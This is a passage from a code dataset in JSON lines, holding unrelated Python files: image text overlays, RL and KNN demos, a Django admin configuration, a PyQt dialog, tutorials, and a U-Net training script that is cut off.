ImageDraw.Draw(txt) \n\nd.text((0, 0), \"This text should be 5% alpha\", fill=(0, 0, 0, 15), font=font)\ncombined = Image.alpha_composite(image, txt) \nplt.imshow(combined)\ncombined.save(\"foo.gif\")\n\n\n\nfrom PIL import Image, ImageDraw, ImageFont\n\nimage = Image.open(\"spongebob.gif\").convert(\"RGBA\")\ntxt = Image.new('RGBA', image.size, (255,255,255,0))\n\nfont = ImageFont.truetype(\"impact.ttf\", 25)\nd = ImageDraw.Draw(txt) \n\nd.text((0, 0), \"This text should be 5% alpha\", fill=(0, 0, 0, 15), font=font)\ncombined = Image.alpha_composite(image, txt) \n\ncombined.save(\"foo.gif\")\n\n\n\n#\n#\"\"\"\n#Building functionality to create transition effects\n#\"\"\"\n#\n#frame = headline_text_frames[-1].copy()\n#plt.imshow(frame)\n#\n#dst = cv2.GaussianBlur(frame,(15,15),cv2.BORDER_DEFAULT)\n#plt.imshow(dst)\n#\n#\n#\n## import the necessary packages\n#from __future__ import print_function\n#import numpy as np\n#import argparse\n#import cv2\n# \n#def adjust_gamma(image, gamma=1.0):\n#\t# build a lookup table mapping the pixel values [0, 255] to\n#\t# their adjusted gamma values\n#\tinvGamma = 1.0 / gamma\n#\ttable = np.array([((i / 255.0) ** invGamma) * 255\n#\t\tfor i in np.arange(0, 256)]).astype(\"uint8\")\n# \n#\t# apply gamma correction using the lookup table\n#\treturn cv2.LUT(image, table)\n#\n#frame = vid.adjust_gamma(frame, gamma=20)\n#plt.imshow(frame)\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"Video Engine/Development/engine_development.py","file_name":"engine_development.py","file_ext":"py","file_size_in_byte":15270,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"301173219","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Sep 11 12:31:59 2016\n\n@author: frederic\n\"\"\"\n\n\nfrom __future__ import print_function\nfrom __future__ import division\n\n#import random\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nimport learning_agent\n\ndef moving_average(a, n=3) :\n ret = np.cumsum(a, dtype=float)\n ret[n:] = ret[n:] - ret[:-n]\n return ret[n - 1:] / n\n\ndef test_monte_carlo(num_episodes=10**6, n0=1000):\n print (\"Monte Carlo RL\")\n print (\"run for {} episodes\".format(num_episodes))\n # learn\n agent = learning_agent.RL_Agent(gamma = 0.9, n0=n0)\n episode_window = int(num_episodes/100)\n win_hist = agent.MC_learn( num_episodes = num_episodes, episode_window = episode_window, verbose=1)\n \n win_hist_smooth = moving_average(win_hist,1000)\n\n plt.plot(range(len(win_hist_smooth)),win_hist_smooth,'-r')\n plt.ylabel('Average win over {} episodes'.format(episode_window))\n plt.xlabel('episode index')\n \n plt.title('Monte Carlo RL over {} episodes'.format(num_episodes))\n plt.show()\n\n\ndef test_sarsa(num_episodes=10**6, mlambda=None, n0=1000, avg_it=50):\n print (\"SARSA RL\")\n print (\"run for {} episodes\".format(num_episodes))\n # learn\n agent = learning_agent.RL_Agent(gamma = 0.9, n0=n0)\n episode_window = int(num_episodes/100)\n win_hist = agent.SARSA_learn(num_episodes = num_episodes, episode_window = episode_window, verbose=1)\n\n win_hist_smooth = moving_average(win_hist,1000)\n\n plt.plot(range(len(win_hist_smooth)),win_hist_smooth,'-r')\n plt.ylabel('Average win over {} episodes'.format(episode_window))\n plt.xlabel('episode index')\n \n plt.title('SARSA RL over {} episodes'.format(num_episodes))\n plt.show()\n1\nif __name__ == '__main__':\n # test_monte_carlo()\n test_sarsa()\n","sub_path":"w8_w9/demo_greyjack.py","file_name":"demo_greyjack.py","file_ext":"py","file_size_in_byte":1780,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"186448338","text":"# -*- coding: utf-8 -*-\n\"\"\"\nProgramming for Data Science\nWeek 5 Tutorial\n@author u3141210 (Aleksandar Draskovic)\n\"\"\"\n# Question 1\nmyList = list(range(100))\nprint(\"Question 1:\", myList, '\\n')\n\n# Question 2 \nmyTuple = tuple(range(100))\nprint(\"Question 2:\", myTuple, '\\n')\n\n# Question 3\ninput_list = ['2.1', '3.5', '4.8', '1.1', '2.0']\noutput_list = [float(number) for number in input_list] \nprint(\"Question 3:\", output_list, '\\n')\n\n# Question 4\nmyList4 = [0, 2, 1, 3, 1, 2, 0, 1]\nsum = sum(myList4)\n\nfor x in range(len(myList4)):\n myList4[x] = myList4[x] / sum\n \nprint(\"Question 4:\", myList4, '\\n')\n \n# Question 5\nmy_list = ['red', 0, 2, 1, 1, 2, 0, 1, 'blue']\nmy_list.remove(my_list[0])\nmy_list.remove(my_list[-1])\nprint(\"Question 5:\", my_list, '\\n')\n\n# Question 6\nmyList6 = [0, 1, 0, 2, 0, 1]\nfor l in range(len(myList6)):\n if myList6[l] == 0:\n myList6[l] = 10\n \nprint(\"Question 6:\", myList6, '\\n')\n\n# Question 7\nlist1 = [2, 3, 1]\nlist2 = [4, 5, 2]\n\nlist3 = []\nlist3.extend(list1)\nlist3.extend(list2)\n\nlist4 = []\nlist4.append(list1)\nlist4.append(list2)\n\nlist5 = []\nlist5.append(tuple(list1))\nlist5.append(tuple(list2))\n\nprint(\"Question 7:\\n\", list1, '\\n', list2, '\\n', list3, '\\n', list4, '\\n', list5, '\\n')\n\n# Question 8\nimport io_data_module\ndatalist = io_data_module.read_multi_dim_data('iris.data')\nprint(\"Question 8:\\n\", datalist)\n\n# Question 9\nimport tkinter\ntop = tkinter.Tk()\nC = tkinter.Canvas(top, bg=\"white\", height=720, width=850)\n\ns = 90 # scale\nr = 4 # radius\n\n# draw ovals\nfor z in datalist:\n x = z[0] * s\n y = z[1] * s\n C.create_oval(x-4, y-4, x+4, y+4, outline = \"red\", fill = \"red\")\n\n# centre ovals\ncentre_1 = (5.1, 3.0, 1.1, 0.5)\ncentre_2 = (4.4, 3.2, 2.8, 0.2)\ncentre_3 = (5.7, 3.9, 3.9, 0.8)\na = centre_1[0] * s\nb = centre_1[1] * s\nc = centre_2[0] * s\nd = centre_2[1] * s\ne = centre_3[0] * s\nf = centre_3[1] * s\nC.create_oval(a-4, b-4, a+4, b+4, outline = \"black\", fill = \"black\")\nC.create_oval(c-4, d-4, c+4, d+4, outline = \"black\", fill = \"black\")\nC.create_oval(e-4, f-4, e+4, f+4, outline = \"black\", fill = \"black\") \n\nC.pack()\ntop.mainloop()\n","sub_path":"PDC/PDC_Tutorials/Week5Tutorial/Week5Tutorial.py","file_name":"Week5Tutorial.py","file_ext":"py","file_size_in_byte":2104,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"529557702","text":"#!/bin/python3\n\nclass Parser:\n\t\"\"\"\n\tThis class parsing data by specific requirements.\n\tAll methods are static.\n\t\"\"\"\n\t@staticmethod\n\tdef get_ping_num(data):\n\t\tif data.find(\"PING :\") >= 0:\n\t\t\treturn data.split()[1]\n","sub_path":"parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":213,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"515705176","text":"# !/usr/bin/env python\n# -*- coding: utf-8 -*-\n__author__ = 'Roman I Pozdeev'\n\nfrom PyQt4 import Qt\nimport sys\n\n#####\nclass HelloDialog(Qt.QDialog) :\n def __init__(self, parent=None) :\n Qt.QDialog.__init__(self, parent)\n\n self.setWindowTitle(\"Hello Dialog\")\n\n self.main_layout = Qt.QVBoxLayout()\n self.setLayout(self.main_layout)\n\n #####\n\n self.hello_label_layout = Qt.QHBoxLayout()\n self.main_layout.addLayout(self.hello_label_layout)\n\n self.close_button_layout = Qt.QHBoxLayout()\n self.main_layout.addLayout(self.close_button_layout)\n\n #####\n\n self.hello_label = Qt.QLabel(\"Hello, PtQt4!\")\n self.hello_label_layout.addWidget(self.hello_label)\n\n self.close_button = Qt.QPushButton(\"Close\")\n self.close_button_layout.addStretch()\n self.close_button_layout.addWidget(self.close_button)\n\n #####\n\n self.connect(self.close_button, Qt.SIGNAL(\"clicked()\"), self.hide)\n\n\n#####\nclass MainWindow(Qt.QMainWindow) :\n def __init__(self, parent=None) :\n Qt.QMainWindow.__init__(self, parent)\n\n self.setWindowTitle(\"Dialog Example\")\n\n self.main_widget = Qt.QWidget()\n self.setCentralWidget(self.main_widget)\n\n self.main_layout = Qt.QVBoxLayout()\n self.main_widget.setLayout(self.main_layout)\n\n #####\n\n self.hello_dialog = HelloDialog()\n\n #####\n\n self.show_hello_dialog_button = Qt.QPushButton(\"Show Hello Dialog\")\n self.main_layout.addWidget(self.show_hello_dialog_button)\n\n self.exit_button = Qt.QPushButton(\"Exit\")\n self.main_layout.addWidget(self.exit_button)\n\n #####\n\n self.connect(self.show_hello_dialog_button, Qt.SIGNAL(\"clicked()\"), self.hello_dialog.show)\n self.connect(self.exit_button, Qt.SIGNAL(\"clicked()\"), self.exit)\n\n\n ### Private ###\n\n def exit(self) :\n sys.exit()\n\n\n#####\napp = Qt.QApplication(sys.argv)\nmain_window = MainWindow()\nmain_window.show()\napp.exec_()","sub_path":"sample/dialog.py","file_name":"dialog.py","file_ext":"py","file_size_in_byte":2015,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"35004528","text":"#Python 练习实例24\n#有一分数序列:2/1,3/2,5/3,8/5,13/8,21/13...求出这个数列的前20项之和\n\nl=[2]\nk=[1]\nsum=0\nfor i in range(19):\n l.append(l[i]+k[i])\n k.append(l[i])\n sum+=float(l[i])/float(k[i])\nsum+=float(l[19])/float(k[19])\n\nsuml=0\nsumk=0\nfor i in range(20):\n print(\"%d/%d\"%(l[i],k[i]))\n suml+=l[i]\n sumk+=k[i]\nprint(\"\")\nprint(\"%d/%d=%f\"%(suml,sumk,sum))\n","sub_path":"练习24.py","file_name":"练习24.py","file_ext":"py","file_size_in_byte":430,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"589117328","text":"from crm import models\nfrom django.shortcuts import render,redirect\nfrom django.forms import ValidationError\nenable_admins = {}\n\nclass BaseAdmin(object):\n list_display = []\n list_filter = []\n list_search = []\n filter_horizontal = []\n actions = ['delete_selected_objs',]\n readonly_filed = []\n readonly_table = False\n\n def delete_selected_objs(self,request,querysets):\n # print('delete_selected_objs',self,request,querysets)\n app_name = self.model._meta.app_label\n table_name = self.model._meta.model_name\n if self.readonly_table:\n errors = {\"readonly_table\": \"This table is readonly ,cannot be deleted or modified!\"}\n else:\n errors = {}\n if request.POST.get(\"delete_confirm\") == \"yes\":\n if not self.readonly_table:#如果readonly_table 不是真的才删除\n querysets.delete()\n return redirect(\"/king_admin/%s/%s\" %(app_name,table_name))\n selected_ids = ','.join([str(i.id) for i in querysets])\n return render(request,\"king_admin/table_obj_delete.html\",{'obj':querysets,\n 'admin_class':self,\n 'app_name':app_name,\n 'table_name':table_name,\n 'selected_ids':selected_ids,\n \"action\": request._admin_action,\n 'errors':errors,\n })\n\n def default_form_validation(self): #用户自定制表单验证,相当于django的clean方法\n pass\nclass CustomerFollowUpAdmin(BaseAdmin):\n list_display = ['customer','consultant','date']\n list_search = ['customer__qq','customer__name']\n list_filter = ['customer','date','consultant']\n filter_horizontal = ['']\nclass UserprofileAdmin(BaseAdmin):\n list_display = ['user','name']\n\nclass CustomerAdmin(BaseAdmin):\n list_display = ['id','qq','name','source','consult_course','enroll']\n list_filter = ['source','date','consult_course']\n list_search = ['qq','name']\n filter_horizontal = ['tags']\n actions = ['delete_selected_objs','test']\n readonly_filed = ['qq','consultant']\n def test(self,request,querysets):\n print('test')\n test.display_name = \"测试动作\"\n\n\n def enroll(self):\n name = '报名'\n return '''报名''' %self.instance.id\n\n enroll.display_name = \"报名链接\"\n #readonly_table = True #整张表只读\n #\n # def delete_selected_objs(self,request,querysets):\n # # print('delete_selected_objs',self,request,querysets)\n # app_name = self.model._meta.app_label\n # table_name = self.model._meta.model_name\n # if request.POST.get(\"delete_confirm\") == \"yes\":\n # querysets.delete()\n # return redirect(\"/king_admin/%s/%s\" %(app_name,table_name))\n # selected_ids = ','.join([str(i.id) for i in querysets])\n # return render(request,\"king_admin/table_obj_delete.html\",{'obj':querysets,\n # 'admin_class':self,\n # 'app_name':app_name,\n # 'table_name':table_name,\n # 'selected_ids':selected_ids,\n # \"action\": request._admin_action,\n # })\n\n #model = models.Customer 等同于 admin_class.model = model_class 绑定model 与 model_class对象\n def default_form_validation(self):\n consult_content = self.cleaned_data.get('content')\n if len(consult_content) < 15:\n return self.ValidationError(\n ('Field %(field)s 咨询内容记录不能少于15个字符'),\n code='invalid',\n params={'field': \"content\",},\n )\n\ndef register(model_class,admin_class=None):\n if model_class._meta.app_label not in enable_admins:\n enable_admins[model_class._meta.app_label] = {}\n admin_class.model = model_class\n enable_admins[model_class._meta.app_label][model_class._meta.model_name] = admin_class\n\n\nregister(models.Customer,CustomerAdmin)\nregister(models.CustomeFollowUp,CustomerFollowUpAdmin)\nregister(models.UserProfile,UserprofileAdmin)\n\n\n\n\n","sub_path":"king_admin/king_admin.py","file_name":"king_admin.py","file_ext":"py","file_size_in_byte":4737,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"150543126","text":"from django import template\r\n\r\nregister = template.Library()\r\n\r\ndef dayssince(value):\r\n\tfrom datetime import date, timedelta\r\n\t\r\n\tif not value:\r\n\t\treturn u''\r\n\telse:\r\n\t\ttry:\r\n\t\t\tdifference = date.today() - value\r\n\t\t\tif difference < timedelta(days=1):\r\n\t\t\t\treturn \"1 day\"\r\n\t\t\telse:\r\n\t\t\t\treturn str(difference.days) + \" days\"\r\n\t\texcept (ValueError, TypeError):\r\n\t\t\treturn u''\r\n\r\ndayssince.is_safe = True\r\n\r\nregister.filter(dayssince)","sub_path":"appPrompt/templatetags/devices_filter.py","file_name":"devices_filter.py","file_ext":"py","file_size_in_byte":431,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"142275600","text":"\"\"\"\n矩阵路径:\n用来判断在一个矩阵中是否存在一条包含某字符串所有字符的路径。\n 例如 a b c e s f c s a d e e 这样的3 X 4 矩阵中包含一条字符串\"bcced\"的路径,\n 但是矩阵中不包含\"abcb\"路径\n\"\"\"\n# -*- coding:utf-8 -*-\nclass Solution:\n def hasPath(self, matrix, rows, cols, path):\n # write code here\n if rows == 0 or cols == 0:\n return False\n self.build_matrix(matrix, rows, cols)\n for i in range(rows):\n for j in range(cols):\n if self.find(i, j, 0, rows, cols, path):\n return True\n return False\n \n def find(self, i, j, l, rows, cols, path):\n if l == len(path):\n return True\n if i < 0 or i >= rows or j < 0 or j >= cols or self.flag[i][j] or self.new_matrix[i][j] != path[l]:\n return False\n self.flag[i][j] = 1\n for n in [[-1, 0], [1, 0], [0, -1], [0, 1]]:\n if self.find(i+n[0], j+n[1], l+1, rows, cols, path):\n return True\n self.flag[i][j] = 0\n return False\n \n def build_matrix(self, matrix, rows, cols):\n self.flag = []\n self.new_matrix = []\n for i in range(rows):\n self.flag.append([0]*cols)\n self.new_matrix.append(list(matrix[i*cols:cols+i*cols]))\n \ns = Solution()\nprint(s.hasPath(\"ABCESFCSADEE\", 3, 4, \"ABCCED\"))","sub_path":"data_structure_review/to_offer/65hasPath.py","file_name":"65hasPath.py","file_ext":"py","file_size_in_byte":1405,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"632384663","text":"from fbchat import Client, log\n\nfrom fbchat.models import *\n\nimport apiai, codecs, json\n\nimport speech_recognition as sr\n\nimport pswd\n\nfrom chatterbot import ChatBot\n\nchatbot = ChatBot(\n 'Jarvis',\n trainer='chatterbot.trainers.ChatterBotCorpusTrainer'\n)\n\n# Train based on the english corpus\nchatbot.train(\"chatterbot.corpus.english\")\n\n\n\ntokenBot = pswd.DialogflowTokenKey\n\n\nr = sr.Recognizer()\n\nclass Jarvis(Client):\n\n clientToken = tokenBot\n \n def apiaiCon(self):\n\n print(\"TOKEN %s\" % self.clientToken)\n\n self.CLIENT_ACCESS_TOKEN = self.clientToken\n\n self.ai = apiai.ApiAI(self.CLIENT_ACCESS_TOKEN)\n\n self.request = self.ai.text_request()\n\n self.request.lang = 'de' \n\n self.request.session_id = \"\"\n\n \n\n def onMessage(self, author_id=None, message_object=None, thread_id=None, thread_type=ThreadType.USER, **kwargs):\n\n \n self.markAsRead(author_id)\n\n\n\n \n log.info(\"Message {} from {} in {}\".format(message_object, thread_id, thread_type))\n\n\n\n \n msgText = message_object.text\n\n \n\n self.apiaiCon() \n\n \n\n self.request.query = msgText\n\n\n\n \n response = self.request.getresponse()\n\n print(response)\n\n \n obj = json.load(response)\n\n \n reply = obj['result']['fulfillment']['speech']\n\n if reply == \"I didn't get that. Can you say it again?\" :\n reply = chatbot.get_response(msgText)\n\n\n\n \n if author_id!=self.uid:\n\n self.send(Message(text=reply), thread_id=thread_id, thread_type=thread_type)\n\n\n\n self.markAsDelivered(author_id, thread_id)\n\n\n\n\n\n\nclient = Jarvis(pswd.emailId, pswd.password)\n\n\n\n\nclient.listen()\n","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":1767,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"357456972","text":"'''\n\tthis file assign CONSTANT_VALUE only\n\n\tusage:\n\t\timport setting\n\t\twalk setting.MAIN_PATH\n'''\nLOG_PATH=\"/var/log/\"\n\nMAIN_PATH=\"/opt/irond/lib/\"\t\t\t#end with '/' because this is only way to allow path to be \"/\"\n\nINPUT_PATH='/exports/'\nPATTERN_FILE='/opt/irond/lib/ironport-simpler.pattern'\n\nSUBTHREAD_SIZE=5\nCACHE_TIME=300 #5 minutes\n\nMAX_INQUEUE=30000\t#if reader see the queue is larger than this number\n\t\t\t\t\t#it will wait to read new raw data\n\t\t\t\t\t#in order to save memory\n\nES_CONNECTION = \"?.?.?.?:9200\"\nMC_CONNECTION = \"?.?.?.?:11211\"\n\n\n#configuration\nHOST_LIST=[\n\t\"?.?.?.?\",\n\t\"?.?.?.?\",\n\t\"?.?.?.?\",\n\t\"?.?.?.?\"\n]\n\nRUN_THIS_COMMAND_WHEN_THREAD_ERROR_IS_FOUND = \"service irond stop\"\n\n#normal condition, start at that moment and keep working\nSTART_DATE=\"\"\t\t#let it blank\nSTART_POINTER=-1\t#set to zero to start at the beginning of current day, # set to a number to start at the byte you know\nEND_DATE=\"\"\t\t\t#let it blank\n\n##fix log, both date must be in the past\n#START_DATE=\"2014-01-05\"\n#START_POINTER=436576876\n#END_DATE=\"2014-01-07\"\n\nKEEP_PERIOD = 366 #days\n","sub_path":"opt/irond/lib_without_fixlog/setting.py","file_name":"setting.py","file_ext":"py","file_size_in_byte":1061,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"442750660","text":"import sys\nimport time\n\nprint(\"\\n\\033[1;37m\")\ntry:\n inputFile = sys.argv[1]\n outputFile = sys.argv[2]\nexcept:\n print(\"\\nInput File Command is Not Correct\")\n sys.exit()\n\n# inputFile=\"./Data/QueryData.pa\"\n# outputFile=\"./Data/NGQuery.pa\"\n\nwith open(inputFile, \"r\", encoding='utf-8') as sourceDoc:\n CourpusData = sourceDoc.readlines()\n\nof = open(outputFile, \"w+\", encoding='utf-8')\n\nprint(\"Creating Phrases for:\", inputFile)\ntime.sleep(2)\n\nlimit = 3\n\nAllCorpus = []\nfor d in CourpusData:\n d = d.lower()\n temp = \"\".join(d.split('\\n')) # conveting list to string\n AllCorpus.append(temp)\n\ntot = 0\nfor sent in AllCorpus:\n templist = []\n token = sent.split(' ')\n while len(token) > 0:\n ii = 0\n for ii in range(limit):\n if ii > len(token):\n # if len(token) == 1:\n # temp = token.pop(0)\n # templist.append(temp)\n break\n temp = token.pop(0)\n templist.append(temp)\n\n outstring = \" \".join(templist)\n if len(token) == 1:\n outstring += \" \"+token.pop(0)\n # print(templist)\n if len(outstring) != 0:\n of.write(outstring+\"\\n\")\n tot += 1\n #print(\"Total Phrases:\", tot)\n templist = []\n\nprint(\"\")\nprint(\"\\033[1;32m\", outputFile, \"file contain Total Phrases:\", tot)\n","sub_path":"Solve/ReadData/CreateNGrams2.py","file_name":"CreateNGrams2.py","file_ext":"py","file_size_in_byte":1373,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"367175795","text":"# We want to implement a new type of context manager, and use it in with statement.\n\n# The most direct way is use contextlib module @contextmanager decorator.\n\nimport time\nfrom contextlib import contextmanager\n\n@contextmanager\ndef timethis(label):\n\tstart = time.time()\n\ttry:\n\t\tyield\n\tfinally:\n\t\tend = time.time()\n\t\tprint ('{}: {}'.format(label, end-start))\n\n# Example use\n\nwith timethis('counting'):\n\tn = 10000000\n\twhile n > 0:\n\t\tn -= 1\n","sub_path":"9_metaprogramming/22_define_context_manager_in_a_simple_way/1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":437,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"350268397","text":"\"\"\"\nGiven a non-empty binary search tree and a target value, find the value in the BST that is closest to the target.\n\nNote:\n\nGiven target value is a floating point.\nYou are guaranteed to have only one unique value in the BST that is closest to the target.\nExample:\n\nInput: root = [4,2,5,1,3], target = 3.714286\n\n 4\n / \\\n 2 5\n / \\\n1 3\n\nOutput: 4\n\"\"\"\n# Runtime: 40 ms, faster than 86.28% of Python3 online submissions for Closest Binary Search Tree Value.\n# Memory Usage: 14.6 MB, less than 100.00% of Python3 online submissions for Closest Binary Search Tree Value.\n\n\n# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nclass Solution:\n def closestValue(self, root: TreeNode, target: float) -> int:\n diff = float(\"inf\")\n curr_res = root.val\n while root:\n if diff > abs(root.val - target):\n diff = abs(root.val - target)\n curr_res = root.val\n if root.val > target:\n root = root.left\n elif root.val < target:\n root = root.right\n else:\n return root.val\n return curr_res","sub_path":"Widen/LC270_Closest_Binary_Search_Tree_Value.py","file_name":"LC270_Closest_Binary_Search_Tree_Value.py","file_ext":"py","file_size_in_byte":1237,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"605180114","text":"\"\"\"Information classes\n======================\n\nStore information regarding modules and class names of simulation class and\ndependent objects.\n\n\"\"\"\nfrom fluidsim.base.solvers.info_base import InfoSolverBase\n\n\nclass InfoSolverNek(InfoSolverBase):\n \"\"\"Contain the information on a :class:`snek5000.solvers.base.Simul`\n instance.\n\n \"\"\"\n\n def _init_root(self):\n self._set_attribs(\n {\n \"module_name\": \"snek5000.solvers.base\",\n \"class_name\": \"SimulNek\",\n \"short_name\": \"nek\",\n \"par_sections\": (\n \"general\",\n \"problemtype\",\n \"velocity\",\n \"pressure\",\n \"mesh\",\n \"temperature\",\n \"scalar01\",\n \"cvode\",\n ),\n \"par_sections_disabled\": (\"mesh\", \"temperature\", \"scalar01\", \"cvode\",),\n }\n )\n self._set_child(\"classes\")\n self.classes._set_child(\n \"Oper\",\n attribs={\"module_name\": \"snek5000.operators\", \"class_name\": \"Operators\"},\n )\n\n\nclass InfoSolverMake(InfoSolverNek):\n \"\"\"Contain the information on a solver which uses Snakemake.\n\n\n \"\"\"\n\n def _init_root(self):\n super()._init_root()\n self.classes._set_child(\n \"Output\",\n attribs={\"module_name\": \"snek5000.output.base\", \"class_name\": \"Output\"},\n )\n self.classes._set_child(\n \"Make\", attribs={\"module_name\": \"snek5000.make\", \"class_name\": \"Make\"}\n )\n","sub_path":"src/snek5000/info.py","file_name":"info.py","file_ext":"py","file_size_in_byte":1593,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"5065513","text":"class BankAccount:\n bank_name = \"Nation Bank\"\n def __init__(self, int_rate=0.03, balance=0):\n self.int_rate = int_rate\n self.balance = balance\n def deposit(self, amount):\n self.balance += amount\n return self\n def withdraw(self, amount):\n self.balance -= amount\n return self\n def display_account_info(self):\n print(f\"Balance: {self.balance}, Interest Rate: {self.int_rate}\")\n return self\n def yield_interest(self):\n if self.balance > 0:\n self.balance += self.balance * self.int_rate\n else:\n print(\"No interest at this time, Your balance is zero or Negative\")\n return self\n @classmethod\n def change_bank_name(cls,name):\n cls.blank_name = name\n print(f\"Bank Name: {cls.blank_name}\") \n\nnoon = BankAccount()\nnoon.deposit(50).deposit(100).deposit(50).withdraw(50).yield_interest().display_account_info()\nother = BankAccount(0.05, 100)\nother.deposit(100).withdraw(200).withdraw(100).withdraw(50).withdraw(20).yield_interest().display_account_info()\nother1 = BankAccount(0.02, 300)\nother1.deposit(100).deposit(300).withdraw(30).yield_interest().display_account_info()\nBankAccount.change_bank_name(\"Noon Bank\")","sub_path":"oop/bankAccount/bank_account.py","file_name":"bank_account.py","file_ext":"py","file_size_in_byte":1246,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"34003657","text":"# -*- coding: utf-8 -*-\n\"\"\"\n使用欧氏距离的KNN算法\n\"\"\"\n\nimport math\nimport operator\nimport csv\nimport random\n\n__author__ = 'Mouse'\n\n\ndef loadDataset(filename, split, trainingSet=[], testSet=[]):\n \"\"\"\n 装载数据集\n :param filename: 文件名\n :param split: 以split为界限将数据集分为训练集和测试集\n :param trainingSet: 训练集\n :param testSet: 测试集\n :return:\n \"\"\"\n with open(filename, 'r') as csv_file:\n lines = csv.reader(csv_file)\n dataset = list(lines)\n for x in range(len(dataset)):\n for y in range(4):\n dataset[x][y] = float(dataset[x][y])\n if random.random() < split:\n trainingSet.append(dataset[x])\n else:\n testSet.append(dataset[x])\n\n\ndef euclidean_distance(instance1, instance2, length):\n \"\"\"\n 计算欧氏距离\n :param instance1: 第一个实例\n :param instance2: 第二个实例\n :param length: 维度\n :return: 距离值\n \"\"\"\n distance = 0\n for x in range(length):\n distance += pow((instance1[x] - instance2[x]), 2)\n return math.sqrt(distance)\n\n\ndef getNeighbors(trainingSet, testInstance, k):\n \"\"\"\n 得到k个邻居\n :param trainingSet: 训练集\n :param testInstance: 测试实例\n :param k: 邻居个数\n :return: k个邻居最近的\n \"\"\"\n distances = []\n length = len(testInstance) - 1 # 维度,最后一个值为类型\n for x in range(len(trainingSet)):\n dist = euclidean_distance(testInstance, trainingSet[x], length)\n distances.append((trainingSet[x], dist))\n distances.sort(key=operator.itemgetter(1)) # 默认距离从小到大排序\n neighbors = []\n for x in range(k):\n neighbors.append(distances[x][0])\n return neighbors\n\n\ndef getResponse(neighbors):\n \"\"\"\n 投票返回结果\n :param neighbors: 邻居\n :return: 分类结果\n \"\"\"\n class_votes = {}\n for x in range(len(neighbors)):\n response = neighbors[x][-1]\n if response in class_votes:\n class_votes[response] += 1\n else:\n class_votes[response] = 1\n # sorted_votes = sorted(class_votes.items(), key=lambda x:x[1], reverse=True) 两种均可\n sorted_votes = sorted(class_votes.items(), key=operator.itemgetter(1), reverse=True)\n\n return sorted_votes[0][0]\n\n\ndef getAccuracy(testSet, predictions):\n \"\"\"\n 计算正确率\n :param testSet: 测试集\n :param predictions: 预测值\n :return: 正确率百分比\n \"\"\"\n correct = 0\n for x in range(len(testSet)):\n if testSet[x][-1] == predictions[x]:\n correct += 1\n return (correct/float(len(testSet))) * 100.0\n\ndef main():\n \"\"\"\n 主函数\n :return:\n \"\"\"\n trainingSet = []\n testSet = []\n split = 0.67\n loadDataset('iris.data.txt', split, trainingSet, testSet)\n # print(\"训练集大小\", str(len(trainingSet)))\n # print(\"测试集大小\", str(len(testSet)))\n\n predictions = []\n\n k = 3\n\n for x in range(len(testSet)):\n neighbors = getNeighbors(trainingSet, testSet[x], k)\n result = getResponse(neighbors)\n predictions.append(result)\n # print(str(len(predictions)))\n # if result == testSet[x][-1]:\n # print('[+] correct: predict: ', result, 'actual: ', testSet[x][-1])\n # else:\n # print('[-] error: predict: ', result, 'actual: ', testSet[x][-1])\n accuracy = getAccuracy(testSet, predictions)\n return accuracy\n\nif __name__ == '__main__':\n n = int(input())\n acc = 0\n for i in range(n):\n acc += main()\n print(acc/n)\n","sub_path":"machine_learning/knn/KnnImplementation.py","file_name":"KnnImplementation.py","file_ext":"py","file_size_in_byte":3638,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"537487310","text":"from model import *\nfrom data import *\nimport yaml\nimport os, sys\nimport numpy as np\nimport skimage.io as io\nimport skimage.transform as trans\nimport cv2\nfrom skimage.viewer import ImageViewer\nfrom itertools import cycle, islice\nfrom data_gen import augmenter\nfrom imgaug import augmenters as iaa\nfrom utils import file_paths, bgr_float32, load_imgs, human_sorted, ElapsedTimer\nimport evaluator\nfrom keras import backend as K\n\ndef batch_gen(imgs, masks, batch_size, augmentater):\n assert len(imgs) == len(masks)\n img_flow = cycle(imgs)\n mask_flow = cycle(masks)\n while True:\n img_batch = list(islice(img_flow,batch_size))\n mask_batch = list(islice(mask_flow,batch_size))\n if augmentater:\n aug_det = augmentater.to_deterministic()\n img_batch = aug_det.augment_images(img_batch)\n mask_batch = aug_det.augment_images(mask_batch)\n else: # no random crop - use square crop dataset\n img_batch = np.array(img_batch, np.float32)\n mask_batch = np.array(mask_batch, np.float32)\n yield img_batch, mask_batch\n\ndef modulo_ceil(x, mod):\n ''' return multiple of 'mod' greater than x '''\n return x + (mod - (x % mod)) % mod\n\ndef main(experiment_yml_path):\n with open(experiment_yml_path,'r') as f:\n settings = yaml.load(f)\n 